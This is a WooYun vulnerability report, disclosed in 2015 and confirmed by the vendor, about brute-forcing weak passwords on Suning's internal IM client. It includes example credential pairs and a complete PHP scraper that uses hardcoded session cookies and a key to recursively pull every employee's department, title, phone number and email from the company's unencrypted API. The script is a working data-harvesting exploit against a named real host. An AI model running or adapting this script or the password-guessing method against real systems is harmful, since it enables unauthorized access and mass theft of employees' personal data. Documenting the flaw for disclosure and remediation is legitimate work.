当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0129149

漏洞标题:看我如何获取苏宁控股集团全部员工信息(部门+职位+工号+负责人+手机+分机+邮箱)(验证脚本)

相关厂商:江苏苏宁易购电子商务有限公司

漏洞作者: Busliv

提交时间:2015-07-25 08:29

修复时间:2015-09-10 09:30

公开时间:2015-09-10 09:30

漏洞类型:基础设施弱口令

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-07-25: 细节已通知厂商并且等待厂商处理中
2015-07-27: 厂商已经确认,细节仅向厂商公开
2015-08-06: 细节向核心白帽子及相关领域专家公开
2015-08-16: 细节向普通白帽子公开
2015-08-26: 细节向实习白帽子公开
2015-09-10: 细节向公众公开

简要描述:

听说会有礼品卡,试试看

详细说明:

之前对苏宁小测过,发现各种waf,欲罢而不能。
首先是这个漏洞WooYun-2015-119009
看看是怎么修复这个漏洞的,发现接口依然可以爆破,验证密码正确性没有问题的,破解出来的部分密码登录不了客户端
客户端做了限制,普通的弱密码都禁止了登陆,强制到某某平台修改后才能登陆,
例如密码suning@12345 123456

suning1.png


这样好办了,找个可以通过后台弱口令规则验证的密码小范围爆破之,

username=10050710&password=suning@2015
username=10047117&password=suning@2015
username=10043894&password=suning@2015


破解到几个密码,但足以,
成功登陆

sunig3.png


发现这个客户端的数据是通过http传输的,而且没有签名,没有加密,

suning2.png


公司架构里面的信息对每个员工是全部公开的,

8.png


这种公司人员架构就是n叉树,写个递归就可以遍历公司所以员工的信息了,

69.png


小爆破一下,就6k多的员工信息,
ps:php这种递归处理略慢

漏洞证明:

验证脚本

<?
include("conn.php");
set_time_limit(0);
function putdata($id,$postable="0")
{
$hostip= "http://imapp.suning.com";
$ch = curl_init();
$timeout = 5;
if(1==$postable){ //获取用户数据
$url = "/imserver/vcard/loadall";
$data = 'usernames='.$id.'&propnames=&searchemploy=1';
$datalen = strlen($data);
$headers = array(
"POST ".$url." HTTP/1.1",
"Content-Type: application/x-www-form-urlencoded",
"Cookie: authId=si5239612559C1E6A6F48F7612B981EFC7",
"Content-Length: ".$datalen,
"Connection: Keep-Alive",
"Accept-Encoding: gzip",
"Accept-Language: zh-CN,en,*",
"User-Agent: Mozilla/5.0",
"Host: imapp.suning.com"
);
}
else{ //获取结点信息
$url = "/imserver/organization/getOrgAndEmp.do";
$data = 'orgId='.$id;
$datalen = strlen($data);
$headers = array(
"POST ".$url." HTTP/1.1",
"Content-Type: application/x-www-form-urlencoded",
"User-Agent: PcClient",
"key: 9b826400b345f7b6bd873f1bf04db8ec",
"uid: sn10043894",
"Cookie: authId=si3E74D436350ECBEDB492773A8E2D6B17",
"Content-Length: ".$datalen,
"Connection: Keep-Alive",
"Accept-Encoding: gzip",
"Accept-Language: zh-CN,en,*",
"Host: imapp.suning.com"
);
}
$requestUrl = "$hostip"."$url";
curl_setopt($ch, CURLOPT_URL, $requestUrl);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
curl_setopt($ch, CURLOPT_ENCODING, 'gzip,deflate');
$file_contents = curl_exec($ch);
curl_close($ch);
return $file_contents;
}
function getorgId($redata){ //匹配部门id
$rule = '/orgId\":\"*([\s\S]*?)\",/i';
preg_match_all($rule, $redata, $result);
return $result;
}
function getuserId($redata){ //匹配用户信息
$rule = '/{\"empId\"*([\s\S]*?)}/i';
preg_match_all($rule, $redata, $result);
return $result;
}
function getuserinfo($redata){ //匹配用户id
$rule = '/\"empJid\":\"*([\s\S]*?)@/i';
preg_match_all($rule, $vlue, $result);
return $result;
}
function im($id){
$i = putdata($id);
if($i){
$orgId = getorgId($i);
if(!empty($orgId[1])){
foreach($orgId[1] as $vlue){ im($vlue);}
}
else {
$userid = getuserId($i);
if(!empty($userid[0])){
foreach($userid[0] as $vlue){
echo "$vlue"."<br>";
file_put_contents("userinfo.txt", "$vlue"."\r\n",FILE_APPEND);
$usermailid = getuserinfo($i);
//$rule = '/\"empJid\":\"*([\s\S]*?)@/i';
//preg_match_all($rule, $vlue, $result);
//$usermailid= $result[1];
$userinfo = putdata($usermailid[1],$postable="1");
}
}
}
}

}
im($id=10000002);
?>

修复方案:

爆破接口做点限制
客户端数据传输加密

版权声明:转载请注明来源 Busliv@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-07-27 09:28

厂商回复:

感谢提交,问题与之前类似。

最新状态:

暂无